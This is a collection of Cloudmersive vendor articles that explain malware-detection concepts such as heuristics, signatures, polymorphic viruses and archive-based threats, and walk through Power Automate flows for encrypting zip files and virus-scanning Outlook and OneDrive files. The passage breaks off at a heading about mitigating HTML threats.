There are three high-level types of Managed Instance Deployments that customers can choose from. These include the following:

Cloudmersive Data Center Deployment

In this deployment option, the product is deployed on Cloudmersive’s own internal data centers. There are a variety of different Cloudmersive data center regions customers can choose from across the globe, ranging from the USA’s west coast to eastern Australia.

Cloudmersive Azure, AWS or GCP Tenant

In this deployment option, Cloudmersive fully deploys and manages the customer's solution on Cloudmersive AWS, Azure or GCP tenants.

Customer Azure, AWS or GCP Tenant

In this deployment option, Cloudmersive deploys the solution on a customer-hosted Azure, AWS or GCP tenant. When product updates roll out, they are applied to customer-hosted tenants by the Cloudmersive team during customer-specified maintenance windows. During those maintenance windows, the Cloudmersive team gets access to the system through a gated & audited mechanism.

For more information on Cloudmersive Managed Instance Deployments, please do not hesitate to reach out to a member of our sales team.

Bytecode is a representation of source code used in virtual machine-based languages like Python or Java, and it behaves like a set of instructions for the virtual machine itself. Because it’s neither source code nor machine binary, it’s often difficult for both traditional threat scanning software – or even human eyes – to effectively scrutinize. As a result, bytecode files present a unique attack vector for threat actors looking to slip malware into a target system undetected.

In the context of virus scanning, bytecode analysis is the process of analyzing bytecode files for threats. Real-world bytecode threats have included hidden programming methods designed to collect sensitive internal server information, and even commands to remotely download malicious content from external servers.

Effective bytecode analysis typically starts with disassembling executable files to retrieve bytecode instructions. Subsequently identifying threats within those instructions can involve a mixture of modern threat detection techniques. This can include anything from signature-based analysis (i.e., referencing a database of known bytecode threats) to behavioral analysis (i.e., threat sandboxing) or even heuristic analysis (i.e., rule-based threat detection).

Bytecode Analysis with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API performs bytecode analysis – along with file hashing, signal extraction, pattern matching, heuristics, whitelisting & certificate analysis – as a baseline service in its sandboxing layer. This rigorous, dynamic approach to scanning helps ensure that hidden threats & zero-day threats are detected along with established threats.

It’s also possible to avoid files containing bytecode altogether using content verification functionality available via the Advanced Virus Scan API iteration. By setting custom file type restrictions in the Advanced Scan request body– particularly against scripts & executables – customers can mitigate unnecessary risks. In addition, customers can whitelist acceptable file types by extension in their request, ensuring only a specific number of approved file types pass their content verification check.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Certificates in any context are intended to function as an accredited indicator of authenticity. If certificates associated with any person or product are illegitimate or compromised in some way, it’s vital that we know about it, or we might expose ourselves to unnecessary risk. In cybersecurity, the analysis of digital certificates is one of many critical steps towards ensuring the trustworthiness of a digital resource.

In the context of virus & malware scanning, certificate analysis has several major considerations. Legitimate file downloads, for example – especially high-risk file types like executables or archives – tend to have certificates in the form of “digital signatures” issued to the file’s creator/developer by a third party (Certificate Authority). By analyzing the legitimacy of these certificates, it’s often possible to quickly identify untrustworthy or malicious files. Untrustworthy files might present invalid or revoked certificates, and they might have received their certificate from an untrustworthy Certificate Authority in the first place. Other problems like inconsistencies or discrepancies in the certificate’s attributes might raise red flags, and there may even be apparent signs of tampering.

Websites and URLs also present SSL/TLS certificates to establish secure connections with clients, and these certificates can be analyzed in a similar way. Websites or URLs with expired, revoked or illegitimately issued SSL/TLS certificates can be identified through cursory certificate analysis, and known compromised websites can be identified through established blacklists. Phishing schemes – which commonly involve URLs to spoofed or compromised web pages – are one example of a common attack that certificate analysis can quickly mitigate.

Certificate Analysis with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API utilizes a layered virus scanning architecture, leveraging a variety of established and cutting-edge techniques including file hashing, signal extraction, pattern matching, heuristics, whitelisting, bytecode analysis and certificate analysis. The combination of these various state-of-the-art malware threat detection techniques protects customers from both established threats and zero-day threats.

In addition, the Advanced Scan features of the Cloudmersive Virus Scan API allow customers to set custom rules against unwanted & risky file types, including executables, password-protected files, invalid files, archive files, and more. Customers can additionally whitelist file types by extension through a comma-separated list and receive in-depth content verification against the expected file types.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Protecting any network against malicious internet traffic requires the implementation of shrewd network security policies. Whitelisting is one such policy which aims to protect networks from external threats by selectively limiting the internet resources that internal users on a network can access.

Whitelisting is, at its core, a fundamentally opposite approach to blacklisting. While blacklist policies aim to block specific programs, websites, IPs, etc. by referencing established lists/databases of known threats (such as phishing scam emails, botnet IPs, etc.), whitelisting limits traffic to a group of decidedly secure programs, emails, websites, IPs, & more, blocking all other traffic instead.

While blacklisting succeeds at preventing known threat entities from entering a network, it’s ultimately an inadequate solution on its own in today’s rapidly growing threat landscape. Completely new & unique threats are developed every day, and these new threats realistically cannot be diagnosed, tagged, and stored quickly enough to keep network blacklists adequately up to date. As a result, relying on blacklists can leave networks vulnerable to zero-day threats, and it can make targeted network attacks easier for cybercriminals to carry out. In limiting network trust to a specific group of internet resources, whitelisting succeeds where blacklisting fails; zero-day threats are inherently treated the same as established threats because whitelist policies fundamentally block them both.

Though whitelisting is widely considered the more secure approach to network security, however, it’s not without its own challenges. In much the same way that cybersecurity threats rapidly proliferate in the present day, legitimate enterprise applications and internet resources are also developed and released very frequently, and this leaves network/security administrators with the difficult task of constantly evaluating which resources should be added to or excluded from their whitelist. Whitelist policies that are too stringent can limit user productivity by blocking access to important resources, while whitelist policies that are too lax can inadvertently create vulnerabilities by allowing users to access resources which are deceptive or untrustworthy in some way.

Whitelisting with Cloudmersive Virus Scanning Proxies

Cloudmersive Virus Scanning forward & reverse proxies can be configured to whitelist external applications, programs, IPs, email addresses, and other such internet resources. In addition, advanced features of the underlying Cloudmersive Virus Scan API can be configured to categorically block a variety of threatening file types – such as executables, invalid files, password-protected files, archives, and more – and whitelist acceptable file types by extension. When file types are whitelisted by extension, each scanned file will undergo an in-depth content verification check against the expected extension, receiving a “CleanResult: False” response if they fail to match. This allows for a unique degree of control over content entering and leaving a network.

For more information on the Cloudmerive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Heuristics is a decision-making process with origins predating the field of cybersecurity. It was conceptualized by psychologists in the 1950’s to overcome perceived limitations in rational decision making, and it promotes educated guesses & trial-and-error methods to find solutions to problems where incomplete information is a major limiting factor. In the context of cybersecurity, heuristic analysis concepts are used to balance out the deficiencies absolute threat detection methods like signature-based threat detection by focusing on rules, patterns and behaviors.

How does heuristic threat analysis work?

Heuristic threat analysis is, first and foremost, a proactive approach to malware threat detection, while signature-based threat detection is a fundamentally reactive approach. The heuristic model aims to identify characteristics of unknown or modified malware threat types without relying on referencing a definitive database of threat signatures.

Heuristic threat analysis often incorporates a rule-based approach to identify suspicious files. For example, if a heuristic threat detection scan identifies a file which is attempting to make changes to the files around it, it might deduce that this file is a threat purely based on its behavior. The concept of behavioral analysis doesn’t end there; heuristic threat analysis can also be used on a much broader scale to identify inconsistencies and suspicious actions in network traffic.

It's also important to note that the heuristic threat detection model isn’t limited to static threat analysis. Heuristic threat analysis can be dynamic – particularly when it involves sandboxing. By deploying a specialized virtual machine and opening suspicious files within that environment, it’s possible for cybersecurity professionals to play out a controlled execution of a potential malware threat and analyze the suspicious file for threatening behavior. Infected files without known signatures are still likely to exhibit common malware behaviors – such as file duplication & file overwriting – and careful analysis of these behaviors in a sandbox can mitigate zero-day threats.

What are the main benefits of heuristic threat analysis?

As previously outlined, the primary benefit of heuristic threat analysis is zero-day threat detection. This inherently predictive threat detection model helps cast a wide net in any malware scanning process, and it can be used effectively in continuous around-the-clock threat monitoring to catch new threats instantly.

What are the limitations of heuristic threat analysis?

Heuristic threat analysis can sometimes suffer from turning out false positive results on non-threating files. If heuristic threat rules monitor file behaviors too stringently, it’s likely that dozens of clean files will be flagged, quarantined, or deleted when they shouldn’t be, which only makes a cybersecurity professional’s life more difficult.

In comparison, signature-based threat detection policies have the exact opposite issue, often flagging too few files and missing zero-day threats with unique or modified characteristics. This is one of the major reasons why heuristic threat analysis and signature-based detection policies are used together (among various other threat detection methods) in modern threat detection solutions.

Heuristic analysis with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API scans files for viruses, malware, and additional threats within a sandbox. This sandbox layer includes several layers, including file hashing, signal extraction, pattern matching, heuristics, whitelisting, bytecode analysis, and certificate analysis. This dynamic approach to virus scanning ensures efficient, accurate detection of existing & zero-day threats while greatly reducing the likelihood of false positives.

For more information on the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

The field of malware file threat detection research has evolved considerably over the last few decades. Signature-based file scanning has proven to be one of the most popular threat detection methods during that time – though its efficacy as a stand-alone solution has diminished in recent years due to increasingly fast-paced improvements in malware authoring.

How does signature-based file scanning work?

Signature-based file scanning revolves around the idea that most malware files used in real world cyberattacks can be categorized in groups – or “families” – based on certain shared characteristics. By reviewing samples of known malware threats in depth, cybersecurity professionals can create referenceable “signatures” of various malware families and use them to detect infected files when scanning file storage locations for threats.

Over the years, communities of cybersecurity research professionals have accumulated myriad samples of known malware threats and rigorously studied their commonalities, grouping threats together by identifying shared characteristics such as data bytes, file hashes, printable strings, imported/exported functions, and more.

What are the primary benefits of signature-based file scanning?

The most prominent benefit of signature-based file scanning is the ability to identify multiple file threats belonging to larger malware families with a single signature match. This baseline consistency makes it easy to quickly detect & mitigate a large portion of widely distributed & overused malware files at once, such as those commonly attached in mass spam emails.

Another considerable benefit is scanning speed. Malware signatures are typically stored as text strings, and this lightweight interoperable format greatly increases the number of signatures that can be stored in one database & the speed at which signatures can be referenced during a scan.

What are the main disadvantages of signature-based scanning?

There are considerable drawbacks to signature-based scanning in the present-day cybersecurity threat landscape, and it’s important not to depend solely on signature-based file scanning for malware threat detection as a result.

These drawbacks largely stem from steady increases in cybercrime and the resulting faster-paced innovations in malware authoring. Much in the same way cybersecurity researchers study cybercrime trends to improve malware detection capabilities, threat actors study cybersecurity trends to overcome threat detection policies.

The most fundamental shortcoming of signature-based scanning is the lack of predictive capability. Relying on databases of established threat signatures can preclude the detection of zero-day threats, which are often deliberately designed to differ from known malware families.

Another limitation of signature-based scanning is the difficulty signature detection processes have with compressed malware files. Infected files can be masked from static signature-based file scanners during the file scanning process, only to reveal & execute malicious code once file decompression takes place. Custom malware delivery methods involving powerful file compression technologies (such as .ZIP and .RAR) are becoming more and more common.

File size can present an issue, too, if signature-based scanners are only configured to scan files below a specific size threshold. It’s becoming more common place for threat actors to bloat malware files with large volumes of useless code to throw off performance-oriented scanning features.

How can we appropriately utilize signature-based scanning?

Despite its drawbacks as an independent solution, signature-based file scanning remains an integral part of any dynamic malware file threat detection solution. It can be leveraged effectively alongside a variety of other modern threat detection techniques which balance out its deficiencies.

365-Degree scanning with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API references a continuously updated list of more than 17 million virus and malware signatures in the initial stages of its 365-degree content protection scan. It additionally leverages heuristic analysis, file hashing, pattern matching, whitelisting, bytecode analysis & certificate analysis to identify a wide range of evolving threat types, and it allows for protection against custom content threats with in-depth content verification policies.

For more information about the Cloudmersive Virus Scan API, please do not hesitate to reach out to a member of our sales team.

The descriptive term “multipartite” refers to anything composed of multiple parts. In the context of cybersecurity, multipartite viruses are those capable of infecting a computer in multiple different ways at the same time. Left undetected, these dynamic virus threats can have a devastating impact on any computer system and prove the most challenging to remove post-infection.

How are multipartite viruses composed?

In most cases, multipartite viruses tend to present both boot-sector and file-sector infection capabilities. The combination of these separate infection capabilities makes the threat of multipartite viruses particularly intimidating.

While boot-sector infections are less common today than they were in decades past (regularly incapacitating old-generation computers booted with floppy disks), it’s still possible for sophisticated multipartite viruses to encrypt modern Master Boot Records (MBR) and cause severe problems within a system. When the boot-sector of a computer is infected with a virus, its malware will load into memory once the computer completes its start-up sequence, paving the way for innumerable files and devices to be rapidly infected.

File-sector infections are very common in the modern threat landscape. This component of a multipartite virus most often targets executable/program files (often those with .exe or .com extensions). When these important executable file types are infected, they can spread a virus rapidly across systems and networks alike, and they can even reformat hard drives in extreme cases. File-sector infectors can impact several different operating systems, too.

All told, multipartite viruses can cause extreme, far-reaching damage to any system. If these viruses aren’t properly purged from a system at every level of infection, they can easily reinfect files in the system repeatedly.

How can multipartite viruses be detected and mitigated?

Because multipartite viruses contain multiple infectors, it’s important to apply a dynamic detection strategy against them. This should generally include signature-based scanning (which references a database of known virus signatures) and zero-day threat scanning (a combination of heuristic analysis, behavioral analysis, sandboxing, and other such methods which do not solely rely on referencing known virus signatures for malware detection).

Since multipartite viruses typically enter a system through traditional malware delivery methods – i.e., spam emails & untrusted file uploads – it’s important to focus a significant amount of attention on denying their entry into a system. These delivery methods can be stymied with regular user training (against social engineering attacks), dynamic threat signature detection, and judicious content restriction policies.

Detecting multipartite virus threats with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API is a turnkey, 365-degree scanning solution designed to detect a wide range of virus & malware threats – including multipartite viruses – by applying a combination of file hashing, signal extraction, pattern matching, heuristics, whitelisting, bytecode analysis, and certificate analysis. Advanced threat detection policies make it possible to simultaneously perform in-depth content verification against a customized list of restricted file types, enabling exhaustive protection in-storage, at the network edge, and/or in defense of individual applications.

For more information about the Cloudmersive Virus Scan API capabilities, please do not hesitate to reach out to a member of our sales team.

To effectively detect, mitigate and/or remove virus threats, it’s important we first understand the unique characteristics that set certain virus types apart from others.

What defines a polymorphic virus, and why is it effective?

By definition, all computer viruses seek to replicate themselves so they can spread across multiple files and throughout one or more systems. While some virus types retain their original signature during the replication process, polymorphic viruses do not. Instead, viruses of this type alter the appearance of their code to disguise themselves from signature-based virus scanning engines. They often encrypt their code and rapidly change encryption keys to alter the makeup of infected files, relying on complex mutation engines in that process.

As a result, even if a basic signature-based virus detection engine manages to identify one infected file within a system, it may not be capable of identifying other files infected by subsequent iterations of the polymorphic virus. If the victim of a cyberattack believes the threat within their system has been neutralized, when it in fact hasn't, the virus may be able to proliferate much more extensively throughout their system.

How can polymorphic virus threats be detected?

Identifying elusive polymorphic threats requires a dynamic & proactive virus scanning approach. To that end, rather than solely referencing a database of known virus signatures, advanced virus scanning solutions can additionally apply heuristic or even behavior-based analysis techniques. Heuristic detection techniques rely on algorithms with rulesets designed to identify malware based on patterns, while behavior-based techniques look at the way computer programs perform to identify “symptoms” of otherwise undetected malware.

Identifying polymorphic viruses with the Cloudmersive Virus Scan API

The Cloudmersive Virus Scan API is a turn-key solution designed to detect a wide range of virus & malware types – including Polymorphic viruses – through a combination of file hashing, signal extraction, pattern matching, heuristics, whitelisting, bytecode analysis, and certificate analysis. For more information, please do not hesitate to reach out to a member of our sales team.

What are the Benefits and Drawbacks of In-Memory Data Storage?

Utilizing in-memory database architecture makes it possible for web applications to access data dramatically faster than they can when communicating with traditional disc/SSD databases. Simply put, in-memory storage means data is held primarily in a server's RAM drive - a temporary memory bank fundamentally designed to make data available more quickly.

Storing and accessing data from RAM powers many of the high-speed data analytics components we see in real-time industry applications, including everything from medical device monitoring to financial analysis and online gaming. If in-memory storage didn't exist, real-time data analytics wouldn't be possible.

Due to several key drawbacks, however, leveraging in-memory storage over disc storage usually depends on having a very relevant use-case. Leaning on temporary storage can put companies at risk of losing data in the case of sudden power outages or system failures, and the cost of purchasing and maintaining an in-memory database is typically much higher than disc storage.

How can In-Memory Data Storage Impact a Virus & Malware Scanning Service?

Applying in-memory data storage concepts to a Virus & Malware Scanning API service affords two major benefits - the second of which actually stems from one of the usual drawbacks. In-memory scanning allows for 1) extremely fast round trip processing speeds and 2) naturally enhanced customer data security.

In this context, the possibility of losing RAM data in an outage is not a concern, because that data is only copied from the customer's disc to begin with; it should and will be released from its temporary storage location once the Virus & Malware Scanning API request is complete. There is no need for copies of customer data to be stored on another disc.

Cloudmersive In-Memory Virus Scanning

The Cloudmersive Virus Scan API is a stateless, high-performance API which scans customer data from temporary in-memory storage. This makes it possible for sub-second typical response times (10ms – 200ms round trip with extremely high throughput). All data stored in-memory is released upon completion of the scan; no customer data is stored to disc under any circumstances.

For more information on the Cloudmersive Virus Scan API’s features & KPIs, please do not hesitate to reach out to a member of our sales team.

When we think about the common document types used to host & disguise custom content threats, PDF and Office file formats (DOCX, XLSX, etc.) are probably the first to come to mind. The last few decades of cyber-attack history would support that idea: malicious links/objects, macros, and similar file-based threat types are frequently buried within PDF and OpenXML file structure, designed to quickly access and compromise our device the moment the document is downloaded. Attackers rely on our familiarity with these everyday formats to facilitate tricking us into accessing and downloading their contents.

As our cybersecurity policies have evolved over years of experience and research to detect & mitigate these expected threat vectors, however, even more insidious malware delivery methods have quietly grown in popularity. In recent years, archive file formats (predominantly ZIP or RAR) have become increasingly popular hosts for concealing virus and malware threats. According to threat research conducted over a three-month period in 2022, archive formats made up more than 40% of malware delivery attempts, exceeding the utilization of Office file formats during that timeframe.

Why Archives?

The benefits of using archive formats like ZIP or RAR to smuggle files infected with viruses and malware are clear cut. In fact, they aren’t all that different from the benefits we gain from using archive formats to consolidate and share legitimate files. Archive compression algorithms allow us to share dozens of large files across a network at once, and powerful encryption & password protection measures ensure unwanted third parties can’t access our sensitive material.

Threat actors effectively want the same things when they deliver infected files, with one key difference: instead of using encryption to hide their content from unwanted eyes, they use encryption to hide malware-infected files from signature-based scanning methods. Virus & malware scanning solutions can’t detect what they can’t decrypt, and by the time these compressed malicious files are decrypted and unzipped on a device, there may be no malware scanning policy in place to detect the infected documents. Unzipping the archive file itself won’t initiate a cyberattack, but eventually opening one of the compressed files will.

Further, malicious archives can themselves be stashed within other illegitimate (spoofed) files, making detection of the archive itself a considerable challenge. Using HTML, for example, a sophisticated attacker can create a very convincing spoof of a PDF document’s online viewer, and this document can be designed to retrieve & unzip a malicious archive from an external internet source once downloaded by the victim. Disguising a threat in this way creates all kinds of problems for traditional one-dimensional malware scanning policies, and it ultimately demands greater restriction of content types independent of malware signature detection. If these files successfully enter our networks undetected, our risk of falling victim to a dormant custom content cyber-attack greatly increases.

Detecting Custom Content Threats with Cloudmersive

The Advanced Scan iteration of the Cloudmersive Virus Scan API provides unique 360-degree protection against both infected files and hidden content threats, offering in-depth content verification and customizable file-type restriction policies. This means files entering a protected location can be scanned against a continuously updated list of more than 17 million virus & malware signatures, and the contents of those files can be simultaneously verified against the original file extensions, ensuring illegitimate files (such as the spoofed PDF example above) are immediately identified alongside infected ones.

In addition, dangerous file types – including HTML, Executables, Invalid Files, Scripts, Password-Protected Files, Macros, and more – can be blocked by setting custom threat detection policies in the API request body (or through your Cloudmersive Account page when using no-code solutions like Shield or Storage Protect). Unwanted file types – like ZIP and RAR – can be blocked by supplying a comma-separated list of acceptable file extensions in a plain text string. Files which fail to pass content verification checks against any custom restriction policies will receive the same CleanResult: False response as infected files.

For more information on how the Cloudmersive Virus Scan API can help protect your systems, please do not hesitate to reach out to a member of our sales team.

Cloudmersive APIs can limit our time capital expenditure like never before. Not only can we use these APIs as value-add services in our repetitive workflows, but we can also write our modified data directly to any of our applications, resulting in drastically more efficient (and often more accurate/reliable) processes.

In Power Automate, we can accomplish all of this without writing a single line of code. We can use established authorization credentials to quickly take advantage of our myriad third-party applications, and we can leverage Cloudmersive Connectors to perform value-add services as files flow from one folder to another.

In the below demonstration, we’ll walk through a simple & useful flow which uses the Cloudmersive File Processing Connector to secure a Zip archive with password-protection and encryption measures. On top of saving our secure file in a new storage location, we’ll ask our flow to email the resulting file to an address of our choosing. All we’ll need is a Cloudmersive API key copied to our clipboard, and we’ll be ready to consolidate our Zip security & file sharing workflows into a single button with simple input fields.

1 – Starting from the Power Automate home page, let’s click Create and “start from blank” by selecting an Instant Cloud flow.

In the Instant Cloud Flow window, let’s select the option to Manually Trigger a Flow, and then let’s click Create so we can head to the flow diagram page.

2 – On the flow diagram page, let’s open our Manually Trigger a Flow step and click on Add an Input. Let’s incorporate a File Input field into our flow. When we eventually run our flow, we’ll be able to use this trigger to select our zip archive.

Below our file input, let’s add three additional inputs. The first two will be Text inputs, and the final will be an Email address input. Let’s label our first text field File Name, and then let’s label our second text field Email Message Body. We can leave the email input blank, or we can name it something like Send To: if we want.

3 – Let’s now click New Step and type Cloudmersive into the search bar. From the list of Cloudmersive connectors below, we want to select the Cloudmersive File Processing connector with the purple thumbnail.

If we haven’t used this connector before, we’ll encounter the connector authorization step before we reach the actions list. We just need to give our connection a name, and after that we can paste the API key we copied from our account page into the API key field. If we don’t have an API key yet, we can get one for free by registering a free account on the Cloudmersive website, and we’ll get a limit of 800 API calls per month with no additional commitments.

Once we reach the actions list, let’s search for the action called Encrypt and Password Protect a Zip File. We should see this action at the top of the actions list, and we can select it from there.

To configure this action, we need to enter file content from our trigger step in the first field, and then we need to enter our choice of password and encryption algorithm in the following two fields. The default & recommended encryption algorithm is set to AES-256, but we can elect to change that to either AES-128 or PK-Zip if we want. We’ve left the encryption field blank in the below example so our flow will default to the recommended algorithm.

4 – Now that we’ve applied password protection and encryption security measures to our Zip file, let’s click New Step and search for a Create File action. Since the file we’re using in this demonstration will come from a SharePoint folder, we’ll be saving it in a OneDrive folder called Secure Zip Archives so we don’t have to manually upload it later. As a result, we’re going to select the OneDrive For Business Create File action and configure our request accordingly.

When we designate our new file’s name, let’s type “secured” followed by the dynamic content labeled File Name we created in our trigger step. This way, we’ll uniformly change the file every time we perform this operation. In the File Content field, let’s make sure we select output from our Cloudmersive File Processing action.

5 – Now that we’ve officially created our new file, we can go about formulating the email we’ll send out at the end of our flow. Before we do that, however, we’ll first need to get our new file’s content.

Let’s click New Step and search for the Get File Content action associated with the OneDrive for Business connector.

We need our new file’s unique identifier to satisfy this action’s request parameter, and we can supply that by selecting dynamic content labeled Id from our Create File step.

Let’s now click New Step one last time and search for the Office 365 Outlook Connector action called Send an Email (V2).

Within this action, let’s utilize the dynamic content we created in our trigger step to customize our email step-by-step. For our email subject, we can either enter standardized reusable text or supply our file name along with other details about the flow run. This depends entirely on our unique preferences.

To attach our Zip file to this email, let’s click on the Show Advanced Options dropdown and use dynamic content from our Create File and Get File Content steps to satisfy our Attachments Name and Attachments Content fields. We should include the dynamic content labeled File Name and File Content respectively.

6 – We can now save our flow and run a test. When we click Test in the top corner of the page, let’s select the option to Manually trigger our flow, and then let’s confirm our connections directly after that.

On the Run Flow tab, we’ll have the ability to supply a file, enter our file name, customize our email message body, and finally enter the email we want to send our file to.

When we run our test, our recipient should receive the following email:

On top of that, our OneDrive folder should hold a copy of our new file:

In one simple flow, we quickly consolidated a repetitive process into one simple & reusable button, with our Cloudmersive File Processing Connector performing a key value-add service in the middle. Easy!

For more information about Cloudmersive APIs and Cloudmersive Power Automate Connectors, please do not hesitate to reach out to a member of our sales team.

Given the ever-growing popularity of malicious spam emails, it’s worthwhile to layer in security policies against threatening file attachments in our Outlook inbox. Redundancy goes a long way toward protecting our system from unexpected threats.

Using the Cloudmersive Virus Scan Connector in Power Automate, we can set up a quick & easy automated flow that checks Outlook email attachments in a specific folder for viruses & malware. This means we can scour files for more than 17 million virus and malware signatures – all in a single automated API request.

Below, we’ll walk through all the steps you’ll need to set up your own automated virus & malware scanning flow in minutes.

1 – Starting from the Power Automate home page, let’s click Create on the lefthand side of the page and select the Automated Cloud Flow option.

In the Build an Automated Cloud Flow window, let’s search for the When a New Email Arrives trigger associated with the Outlook 365 Connector and select that option.

We can now click Create and head to the flow diagram page.

2 – In our flow diagram, the first thing we should do is specify the folder within Outlook we want to scan. Our main inbox should already be selected; to change this, we can follow the folder icon on the righthand side and navigate our Outlook folder path.

Once we’ve selected the Outlook folder we want, let’s click New Step and search for an Outlook Connector action called Get Attachment.

When we open this action, let’s click on the Message ID field and select corresponding content from the dynamic content window. This content is made available from our trigger step.

Let’s then click on the Attachment Id field and select dynamic content called Attachments Attachment Id. Once we click on this option, Power Automate will automatically wrap our Get Attachment action in an Apply to Each control. That’s because emails can contain multiple attachments, so this action might occur more than once when a single email is received.

We can leave the Original Mailbox Address field blank for now.

3 – Let’s now incorporate our Cloudmersive Virus Scan Connector action. Staying within the Apply to Each control, let’s click Add an Action and search for Cloudmersive connectors. From the list of Cloudmersive connectors below, let’s select the Cloudmersive Virus Scan Connector with the dark blue-green logo.

If we’ve used this connector before, we’ll jump straight to the connector actions list. If we haven’t, we’ll be asked to name our connection and supply our Cloudmersive API key first. We can name our connection anything we want, and we can simply copy the API key from our Cloudmersive account page and paste it into the API key field.

Once we reach the actions list, let’s select the Scan a File for Viruses action.

Within the Input File field, let’s select the dynamic content labeled Content Bytes made available from our Get Attachment step.

Our flow is now ready to trigger upon receiving an email in a specified Outlook folder, retrieve the attachments from that email, and scan the contents of those attachments for more than 17 million virus and malware signatures.

If attachments are infected, our Scan a File for Viruses action will return a CleanResult: False response. If attachments are clean, we’ll receive a CleanResult: True response instead. In the former scenario, we’ll also receive a FoundViruses array containing information about the viruses which were identified.

4 – We can efficiently use this action’s Boolean response to trigger a condition that takes certain steps depending on the results of our scan. For example, we can set CleanResult equal to true and ask our If No scenario to delete the original email when false responses are received (while asking our If Yes scenario to do nothing in response to clean files).

We could also elect to quarantine the infected files for further analysis while deleting the email to remain safe from immediate harm. We can utilize two Cloudmersive File Processing Connector actions to accomplish this – the first labeled Compress Files to Create a New Zip Archive, and the second labeled Encrypt and Password Protect a Zip File.

We can easily test our flow using clean files to receive a CleanResult: True response. Depending on the recommendations/preferences of our Security team, we could trigger a CleanResult: False response using inert malware signatures made available on the EICAR website.

For more information on the Cloudmersive Virus Scan API & Virus Scan Connector, please do not hesitate to reach out to a member of our sales team.

Power Automate is a steadily growing platform with immense utility. Through simple point-and-click designs, we can make efficient connections between applications, and we can take steps to automate file processing & administration tasks that might’ve once stolen our time away from more important projects.

One of the many hidden benefits we can gain from Power Automate flows is improved redundancy in our file storage security policies. Using the Cloudmersive Virus Scan API in Power Automate, we can easily engage powerful virus scans any time new files enter one (or multiple) target folders in our OneDrive file storage system.

In the below demonstration, we’ll walk through a few simple steps to automate OneDrive folder virus scanning in Power Automate. In just a few minutes, we'll be able to scan dozens of common file types for more than 17 million virus and malware signatures.

1 – Starting from the Power Automate home page, let’s select Create and click on the Automated Cloud Flow option.

In the Build an automated cloud flow window, let’s search for a OneDrive flow trigger called When a File is Created. Once we find it, let’s go ahead and select it, and then let’s click Create to head to the flow diagram page.

2 – On the flow diagram page, let’s configure our trigger step by selecting the folder we want to scan. We can accomplish this by clicking on the folder icon and navigating our OneDrive folder path.

3 – Now we can incorporate our Cloudmersive Virus Scan Connector action.

Let’s click new step and type Cloudmersive into the search bar. From the list of Cloudmersive connectors below, let’s select the Virus Scan Connector with the blue-green logo.

If we haven't yet used this connector, we'll receive a prompt to name our connection and provide our API key at this stage. We can name our connection anything we want, and we can then copy & paste an API key from our Cloudmersive Account Page. Once this information is entered, it'll save automatically for future uses.

From the Virus Scan Connector actions list, let’s select the action called Scan a File for Viruses.

To configure our request, let’s click on the Input File field and select File Content from the dynamic content window. This content is automatically retrieved when a new file is added to our target folder in OneDrive.

Our flow is now ready to trigger upon receiving a file in our target folder, retrieve the content of that file, and scan it for 17 million+ virus and malware signatures. When infected files are identified, the API response will return a CleanResult: False value. Clean files will return a CleanResult: True value instead.

4 – There are a variety of steps we can take to handle a scenario where an infected file is identified. The simplest option is to create a condition that takes different actions based on the CleanResult response. Below is one example of a condition that takes no action when clean files are detected and deletes the file outright when virus and malware signatures are identified.

To test this flow and trigger a CleanResult: True response, we can use any common file type we expect to store in this folder. To trigger a CleanResult: False response safely, we can utilize an inert file threat made available on the EICAR website (this of course depends on permissions/limitations set out in our particular environment).

For more information on how you can use the Cloudmersive Virus Scan API & Cloudmersive Virus Scan Connector to protect your applications and file storage locations, please do not hesitate to reach out to a member of our sales team.

Since the early days of the internet, Hyper-Text Markup Language (HTML) has made it easy for folks with a wide range of technical abilities to organize and present web content for client-side viewers. This simple and readable text-based language has grown considerably over the decades, gradually evolving as a form of digital scaffolding for dynamic, interactive programming languages like JavaScript to plug into.

While most HTML files we encounter are legitimate – containing anything from web design iterations to browser-accessible versions of Office file formats – the dissemination of HTML files for the purpose of spreading malware and/or performing other common malicious web activities has grown considerably in recent years. HTML files can house a surprisingly wide variety of threats in their various elements, and as a result, it’s critical to exercise extreme caution before opening and viewing the contents of these files.

What Makes HTML Files Dangerous?

While HTML files might appear to contain inert, locally available text information that merely executes through an internet browser, the reality is that HTML files can reference externally hosted JavaScript libraries once they're launched, and they can subsequently redirect users to malicious locations. These locations can include phishing websites designed to trick users into providing sensitive information (much like a Phishing URL), and they can also trick unsuspecting users into downloading malware-infected files onto their devices.

Further, modern versions of HTML make it possible for cyber criminals to embed malware within the HTML file itself. This means that opening a malicious HTML file might directly inject the user’s device with malicious scripts and/or executable content. Malware including ransomware, spyware, viruses, trojans & more can infect a device in this way, compromising sensitive internal systems and placing the attacker in control of valuable content.

These are just a few of the more notable examples of HTML file threats. Depending on the vulnerabilities present in the victim’s environment, HTML can be used to launch Cross-Site Scripting attacks within a web application, initiate automatic file downloads, and much more.

Where can Malicious HTML Files be Shared?

In general, email is the most common method attackers use to share malicious files and URLs at scale, and attackers typically rely on social engineering techniques to encourage unsuspecting victims to access malicious content in their inbox. While many such emails are detected by anti-spam policies and siloed away from primary inboxes, emails which are more targeted (particularly those originating from compromised devices which were once trusted/corresponded with) are often capable of breaching these policies and hiding in plain sight.

It’s also possible for attackers to share HTML files through client-side file upload portals. The growth of affordable cloud-storage locations has made file upload portals drastically more popular in recent years, making it possible for a wider variety of companies to accept User-Generated Content (UGC) directly from client-side users. Latent attacks on cloud storage instances have increased as a result, often beginning with an attacker sharing a malicious file through a file upload portal and culminating in an unsuspecting internal or external user accessing that content later. It’s possible for attackers to hide malicious HTML content under the guise of different file extensions and fool weakly designed validation policies.

Mitigating HTML Threats with Cloudmersive

